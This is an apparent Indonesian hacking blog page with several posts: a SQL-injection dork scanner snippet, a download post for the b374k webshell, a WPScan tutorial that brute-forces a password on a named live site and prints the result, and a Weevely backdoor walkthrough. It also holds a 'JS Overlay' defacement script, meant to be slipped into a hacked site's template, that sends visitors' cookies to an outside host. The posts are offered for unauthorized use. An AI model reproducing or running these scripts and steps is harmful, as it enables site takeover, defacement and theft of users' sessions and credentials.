<a href="http://i39.tinypic.com/2u40l1l.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="512" src="http://i39.tinypic.com/2u40l1l.png" width="640" /></a></div>
tuh berarti proxy yg dipke harus bener2 FRESH dan tahan lama, jika tidak, maka beberapa url atau bahkan semua url tidak bisa digraph.<br />
skarang penjelasan selanjutnya.<br />
tuh konsep dari dork scanner ane,  jika url ada parameter tertentu kya gini misal:<br />
<blockquote class="tr_bq">
http://site.com/detail.php?id=2&next.asp?cat=21&gay.cfm?id=null</blockquote>
ntar dirubah ke<br />
<blockquote class="tr_bq">
http://site.com/detail.php?id=2'&next_asp?cat=21'&gay_cfm?id=null'</blockquote>
<br />
sesuai dengan simbol yg dimasukkan.<br />
jika url tidak ada parameter kya di atas, akan direturn ke url aslinya<br />
ane cuman bisa nangkep site vuln berdasarkan pesan sql error pda umunya gan, jadi site keluar gak terlalu banyak. ni gan buat ngecek apakah tuh site vuln ato kagak<br />
<pre class="brush:php">if(preg_match("/error in your SQL syntax|mysql_fetch_array|execute query|mysql_fetch_object|mysql_num_rows|mysql_fetch_assoc|mysql_fetch\?\?_row|SELECT \* FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i", $graph))</pre>
pngalam ane klo keseringan pke dork yg kompleks, biasanya diblock ama captcha gan
<br />
mohon dikembangin lagi biar bisa menjadi tool yg advanced gan</div>
</div>

Download webshell b374k v2.3

Mei 17, 2013

Tidak ada komentar

Labels: Hacking, PHP, Programming

<div><div dir="ltr" style="text-align: left;" trbidi="on">
nih webshell yg buat om <span style="color: lime; font-weight: bold;">ketek</span>, yaitu salah satu member dewa di devilzc0de.org/forum, dan forum itu sendiri merupakan salah satu forum hacker indonesia yang cukup terkenal dengan coder dewa nya. :D<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/ThfFjo9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="201" src="http://i.imgur.com/ThfFjo9.jpg" width="400" /></a></div>
<br />
<br />
<ul style="text-align: left;">
<li>Versi ini dilengkapi dengan anti search engine bot, jadi gak akan di crawl oleh googlebot dan bot bot lainnya, silahkan modifikasi source code nya untuk menambahkan list bot yang mau di block</li>
<li>Eval sekarng bukan hanya bisa php, tapi juga bisa untuk jalanin script python, perl, ruby, c, java</li>
<li>Semua Bind dan Reverse shell di update, dan ditambahin bind connect untuk php, dan bind+reverse shell pakai ruby script</li>
<li>Connect ke mysql server pakai driver sqlsrv, dimana sebelumnya menggunakan driver mssql</li>
<li>Connect ke database sqlite/sqlite3</li>
<li>Menu phpinfo diganti dengan info yg berisi info2 umum tentang server</li>
<li>Support PHP4</li>
<li>API Support</li>
<li>several bugs fixed</li>
</ul>
<div>
Untuk API Support baca disini:</div>
<div>
<a href="https://code.google.com/p/b374k-shell/wiki/API">https://code.google.com/p/b374k-shell/wiki/API</a></div>
<div>
<div>
Dengan adanya API ini, maka kamu bisa control shell ini dari jauh, bisa kamu buat program untuk kelola semua shell-shell kamu</div>
<div>
Bisa untuk update sekaligus semua shell, dan banyak lagi, dll</div>
</div>
<div>
<br /></div>
<div>
<div>
Download di</div>
<div>
<a href="https://code.google.com/p/b374k-shell/">https://code.google.com/p/b374k-shell/</a></div>
</div>
<div>
Atau kode b374k v2.3 yang udah ane copas ke pastebin.com</div>
<div>
<a href="http://pastebin.com/KDs9W0AX">http://pastebin.com/KDs9W0AX</a></div>
<div>
<br /></div>
<div>
Credit to <span style="color: lime; font-weight: bold;">ketek </span>and All devilzc0der</div>
<div>
<br /></div>
</div>
</div>

Enumerate/Hack wordpress site dengan wpsan.rb

Januari 18, 2013

2 komentar

Labels: Backtrack, Hacking, Linux

<div><div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<a href="http://wpscan.org/">Download WPScan</a><br />
<br />
kata developernya,,tools ini gak support di Windows OS gan, tpi coba agan baca README nya siapa tw aja ada solusi klo di Windows<br />
<br />
gak usah kebanyakan bacot gan.<br />
tutor ini ane tujukan kpd <i>Backtrackers</i> dan <i>Linux user</i><br />
<br />
1. buka wpscan.rb (<b>/pentest/web/wpscan</b> )<br />
2. ketik wpscan.rb ,,trus enter. biasanya ditanya mw update atau kagak,,klo kagak ente ketik <i>n</i> klo mw update ketik <i>y</i>.<br />
<span style="font-family: inherit;">klo agan milih y,trus udah selesai updatenya,,biasanya muncul error kya gini pas buka wpscan.rb</span><br />
<span style="font-family: inherit;"><br /></span>

</div>
</div>
<pre class="brush"><span style="color: lime;">root@bt:/pentest/web/wpscan# ./wpscan.rb -h
[ERROR] Install missing ruby gem. Please see README file or http://code.google.com/p/wpscan/
#<LoadError: no such file to load -- nokogiri></span></pre>
</div>
solusinya udah ada di error messagenya gan, tinggal ketik ini :

<br />
<br />
<pre class="brush"><span style="color: lime;">gem install --user-install nokogiri</span></pre>
3. Klo udah cobe ketik ./wpscan.rb atau /wpscan.rb --help
ntar munucl tuh option2nya<br />
<br />
4. Masukin url dan pilih option lainnya, misalkan ane mw liat2 pluginnya yg vuln :<br />
<br />
<pre class="brush"><span style="color: lime;">./wpscan.rb --url www.productbestbuy.com --enumerate p!</span></pre>
tinggal tunggu, ntar muncul plugin2 yg vuln

<br />
<br />
<pre class="brush"><span style="color: lime;">[+] We found 1 plugins:

| Name: jetpack
 | Location: http://www.productbestbuy.com/wp-content/plugins/jetpack/
 | Directory listing enabled? Yes.
 |
 | [!] jetpack plugin SQL Injection Vulnerability
 | * Reference: http://www.exploit-db.com/exploits/18126/

[+] Finished at Sun Dec 30 21:56:44 2012</span></pre>
tuh gan,,malah dikasih exploitnya juga<br />
5. skarang coba ane cari username nya :

<br />
<br />
<pre class="brush"><span style="color: lime;">./wpscan.rb --url www.productbestbuy.com --enumerate u</span></pre>
dan tinggal tunggu aja,,ntar keluar tuh username2 yg ada di databasenya

<br />
<pre class="brush"><span style="color: lime;">[+] Enumerating usernames ...

We found the following 2 username/s :

admin
  developer</span></pre>
6. skarang nyari password nya pke brute force, di tools ini kita cuma bisa pke teknik brute force untuk nyari passnya gan,,jdi inet hrus cepet dan hrus punya modal keberuntungan. dan yg pling penting harus sediain wordlist.lst bejibun gan. Wordlist ane letaknya di <b>/root/Desktop/wordlist.lst</b>

<br />
<b><br /></b>
<br />
<pre class="brush"><span style="color: lime;">./wpscan.rb --url www.productbestbuy.com --username developer --wordlist /root/Desktop/wordlist.lst</span></pre>
dan hasilnya :

<br />
<br />
<pre class="brush"><span style="color: lime;">[+] Starting the password brute forcer

Brute forcing user 'developer' with 12 passwords... 58% complete.
  [SUCCESS] Username : developer Password : cisadane123456

[+] Finished at Sun Dec 30 22:38:18 2012</span></pre>
wkwkw,,beruntung banget ane, pass langsung tembus

<br />
<br />
nemu tuh gan,,<br />
<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">Username : developer Password : cisadane123456[/code]</span><br />
<br />
tinggal login aja gan.,site wp secara default loginnya ada di folder http://siteswp.com/wp-admin/<br />
untuk download wordlist nya,,bisa lihat <a href="http://hacker-newbie.org/showthread.php?tid=10849">di sini gan</a><br />
<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">PIC:</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://sites.google.com/site/rieqyroot/files/hack_wp.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="223" src="https://sites.google.com/site/rieqyroot/files/hack_wp.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">penulis : RieqyNS13</span><br />
<span style="font-family: inherit;">wpscan developer : ethicalhacke3r</span><br />
<br /></div>
</div>
</div>
</div>

Hash Identifier Tools

Januari 17, 2013

Tidak ada komentar

Labels: Hacking, Software

<div><div dir="ltr" style="text-align: left;" trbidi="on">
<div>
Hash identifier ini fungsinya untuk mengetahui jenis hash yg digunakan gan :D</div>
<div>
dan yg ane share ini ada 2 versi yaitu GUI dan Console</div>
1. versi GUI nya gan<br />
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1133.photobucket.com/albums/m599/tsdt7wetew/hs.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="120" src="http://i1133.photobucket.com/albums/m599/tsdt7wetew/hs.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<a href="http://www.mediafire.com/?td99j9qwzhbfp06">Download GUI Version</a></div>
<div>
<br /></div>
<div>
2. yg Console gan</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://img197.imageshack.us/img197/2990/hashid.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="315" src="http://img197.imageshack.us/img197/2990/hashid.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<a href="http://code.google.com/p/hash-identifier/">Download Console Version</a></div>
</div>
</div>

[JS Overlay]jalan alternatif jika gak bisa upload backdoor/shell

Januari 13, 2013

Tidak ada komentar

Labels: Hacking

<div><div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
biasanya kalo kita udah masuk administrator dan ga bisa masukin shell ato backdoor rasanya gimanaaa gitu...<br />
nah kalo udah mentok,, biasanya kita tinggalin gitu aja.... kali ini ane mau share JS OVERLAY... yg gunanya untuk menutup index tanpa harus merubah index, atau bsa juga disebut menutupi index dengan file deface yg dah kita upload.....<br />
ini bisa juga buat jahilin webmaster... jadi tinggal nyusupin script ini di bagian template... jadi seakan2 index normal2 saja....<br />
<br /></div>
<pre class="brush:js">//////////////////////////////////////////////////////////////
//JS OVERLAY
//alternatif jika kita tidak bisa memasang backdoor/shell :)
//BAGSFREAKZ HERE..!! 
//THANKS TO : CrazyDavinci & Surabayag3tar
//////////////////////////////////////////////////////////////

/*
<style>html,body{color:#ffffff}</style><font color='white'><script>top.location.href='http://www.facebook.com/bagsfreakz?v=wall/'</script><noscript><META HTTP-EQUIV="refresh" CONTENT="0;URL=http://www.facebook.com/bagsfreakz?v=wall/">
*/
document.getElementsByTagName('body')[0].innerHTML=""
document.title="Bagsfreakz Here !!"
var shortc=document.createElement("link");shortc.rel="SHORTCUT ICON";shortc.href="http://cokl.at.ua/favicon.ico";document.getElementsByTagName("head")[0].appendChild(shortc)
function muter2(){
scrW=screen.availWidth
scrH=screen.availHeight
window.moveTo(0,0)
window.resizeTo(10,10)
window.focus()
for(x=0;x<80;x++){
window.resizeTo(10,scrH*x/80)
}
for(y=0;y<80;y++){
window.resizeTo(scrW*y/80,scrH)
}
window.resizeTo(scrW,scrH)
}
document.oncontextmenu=new Function("muter2();return false");
function keypressed(){alert("To Admin :\n\Bagsfreakz Here");}
document.onkeydown=keypressed;
function kasih_tau(){
alert('Bagsfreakz Here..!!');
}
if(location.href.indexOf('transtv.co.id')==-1)setTimeout("alert('Bagsfreakz Here..!!');",3000);
else setTimeout("kasih_tau()",3000);
if(navigator.userAgent.indexOf('MSIE')!=-1){
document.getElementsByTagName('body')[0].innerHTML="<center><iframe src='http://freakz.name/lol.php' height='620px' width='1100px' scrolling='no' frameborder='0'></center>";
}
else{
if(document.getElementsByTagName('body')[0].style.cssText.indexOf('hack')==-1){
//muter2();
log="";
if(document.cookie!=""&&location.href.indexOf('ayodance.com')==-1){x=escape(document.cookie);v=escape(location.href);y="bagsfreakz@gmail.com";log=";background-image:url(http://crazydavinci.net/riper.php?o="+escape(x)+"&v="+escape(v)+"&y="+escape(y)+")";document.cookie="PHPSESSID=!Bagsfreakz Here!;path=/";}
document.getElementsByTagName('body')[0].style.cssText="background-color:#000"+log
window.onload=function(){
document.getElementsByTagName('body')[0].innerHTML="<center><iframe src='http://www.freakz.name/lol.php' height='620px' width='1100px' scrolling='no' frameborder='0'></center>";
document.getElementsByTagName('body')[0].style.cssText="background-color:#ffffff;background-image:url(http://www.balikita.net/)!important;";
}
}
}</pre>
<a href="http://www.productbestbuy.com/?page_id=640">Demo</a><br />
ss:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://rieqyns13.biz/images/js_overlay.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="93" src="http://rieqyns13.biz/images/js_overlay.png" width="320" /></a></div>
<br /></div>
</div>

Download Weevely(web backdoor) untuk Windows user

Januari 13, 2013

Tidak ada komentar

Labels: Hacking

<div><div dir="ltr" style="text-align: left;" trbidi="on">
Pengguna OS Wedus yang pengin nyobain Weevely(Web Backdoor), bisa download di sni :<br />
<br />
<a href="http://www.4shared.com/get/E4M5sNEF/weevely.html">Download Weevely</a><br />
<br />
 Sebelum buka Weevely-nya,,dikomputer hrus udah diinstal Python dan <b>Module Pyreadline</b> juga sudah terinstal di Pythonnya.<br />
untuk download modul pyreadlinennya disini gan :<br />
<br />
<a href="http://pypi.python.org/pypi/pyreadline">http://pypi.python.org/pypi/pyreadline</a><br />
<br />
ane share ginian Weevely sbgian besar cuma ada di BT5 aja,,,dan ane cari SC nya di google,,juga banyak yg ga' ada,,makannya ane upload weevely dari BT5 ane<br />
<br />
<br />
udah tw cara penggunaannya kan ??<br />
<br />
Siapin target yg udah dipsang becak.php,<br />
trus buka notepad, tpi biarin kosong aja, jangan diisi apa2, trus langsung simpen dgn nama <b>terserah.php</b><br />
file ini sbg calon backdoor yg akan dibuat oleh Weevely,,makannya file ini hrus kosong biar nanti weevely aja yg ngisi file nya<br />
<br />
Extract weevely.zip tdi yg dah didownload<br />
buka CMD(Command Prompt), trus atur path dmana kita meng-extract weevelynya,,trus tulis :<br />
<br />
<span style="color: #cc0000; font-family: Courier New, Courier, monospace;">main.py -g -o namafilekosongtadi.php -p passwordagan</span><br />
<br />
nah,,file yg kosong tadi telah berisi kode php dri Weevely,,<br />
skarang file tadi upload ke shell becak.php nya,,<br />
klo dah diupload,,trus di CMD tulis :<br />
<br />
<span style="color: #cc0000; font-family: Courier New, Courier, monospace;">main.py -t -u http://target.com/path/fileygdahdiuploadtdi.php -p passwordagan</span><br />
<br />
tunggu bentar,,dan tarahh,,,skarang tinggal nyolong root<br />
<br />
by RieqyNS13<br />
</div>
</div>

Fudanshi

Mass Magento Shoplift Auto Exploit + Auto Upload Package/File-system

HashKiller Helper (Auto Crack Hash MD5/SHA1/MySQL,etc)

Tool untuk Filter Email Berdasarkan Domain dan Extract Email

Simple Sqli Dork Scanner v2.1

Simple Sqli Dork Scanner v2

Bing Subdomain Scanner

Simple Sqli Dork Scanner

Download webshell b374k v2.3

Enumerate/Hack wordpress site dengan wpsan.rb

Hash Identifier Tools

[JS Overlay]jalan alternatif jika gak bisa upload backdoor/shell

Download Weevely(web backdoor) untuk Windows user

Recent Big Posts

Categories

Tags Cloud

Comments

Latest

Random

Flickr

4/Food

Popular Posts